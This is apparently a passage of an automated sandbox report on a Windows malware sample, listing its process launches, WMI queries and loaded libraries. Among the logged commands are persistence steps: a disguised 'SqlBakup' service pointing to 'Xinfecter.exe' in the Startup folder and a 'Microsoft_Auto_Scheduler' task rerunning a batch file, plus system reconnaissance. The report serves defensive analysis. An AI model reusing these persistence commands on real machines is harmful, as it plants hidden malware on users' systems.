      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2616&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;180&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;5808&quot;::GetOwner
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = &apos;LEUY79ALAW.EXE&apos;
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = &apos;LEUY79ALAW.EXE&apos;
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = &apos;LEUY79ALAW.EXE&apos;
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = &apos;LEUY79ALAW.EXE&apos;
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = &apos;LEUY79ALAW.EXE&apos;
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = &apos;LEUY79ALAW.EXE&apos;
      Source: C:\Windows\SysWOW64\cmd.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: lEUy79aLAW.exeReversingLabs: Detection: 86%
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile read: C:\Users\user\Desktop\lEUy79aLAW.exeJump to behavior
      Source: unknownProcess created: C:\Users\user\Desktop\lEUy79aLAW.exe "C:\Users\user\Desktop\lEUy79aLAW.exe"
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /v /fo csv | findstr /i "dcdcf"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /v /fo csv
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /i "dcdcf"
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\sc.exe sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\sc.exe sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
      Source: unknownProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Documents and Settings\user\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ver
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs"
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\S-2153.bat'" /f
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\user\AppData\S-2153.bat'" /f
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c echo %date%-%time%
      Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.bat
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c systeminfo|find /i "os name"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /i "os name"
      Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /v
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I /c "dcdcf"
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c systeminfo|find /i "original"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /i "original"
      Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\SYSTEM32\cmd.exe /c ""C:\Users\user\AppData\S-2153.bat""
      Source: C:\Windows\SysWOW64\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ver
      Source: C:\Windows\SysWOW64\sc.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreak
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.bat
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /v
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /I /c "dcdcf"
      Source: unknownProcess created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe"
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreak
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreak
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreak
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreak
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreak
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /v /fo csv | findstr /i "dcdcf"Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=autoJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= autoJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Documents and Settings\user\Start Menu\Programs\Startup\Xinfecter.exe" start= autoJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c verJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.batJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\S-2153.bat'" /fJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c echo %date%-%time%Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c systeminfo|find /i "os name"Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c systeminfo|find /i "original"Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c verJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /v /fo csvJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /i "dcdcf"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\sc.exe sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=autoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\sc.exe sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= autoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" Jump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.batJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\user\AppData\S-2153.bat'" /fJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\systeminfo.exe systeminfoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /i "os name"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /vJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I /c "dcdcf" Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\systeminfo.exe systeminfoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /i "original"Jump to behavior
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ver
      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.bat
      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /v
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /I /c "dcdcf"
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: netapi32.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: wininet.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: samcli.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: dsrole.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: rsaenh.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: ntmarta.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: samlib.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: mswsock.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: iphlpapi.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: winnsi.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: dnsapi.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: rasadhlp.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: fwpuclnt.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: napinsp.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: pnrpnsp.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: wshbth.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: nlaapi.dllJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeSection loaded: winrnr.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: edputil.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: windows.staterepositoryps.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: policymanager.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: msvcp110_win.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: appresolver.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: bcp47langs.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: slc.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: sppc.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: onecorecommonproxystub.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: pcacli.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: sfc_os.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: vbscript.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dllJump to behavior
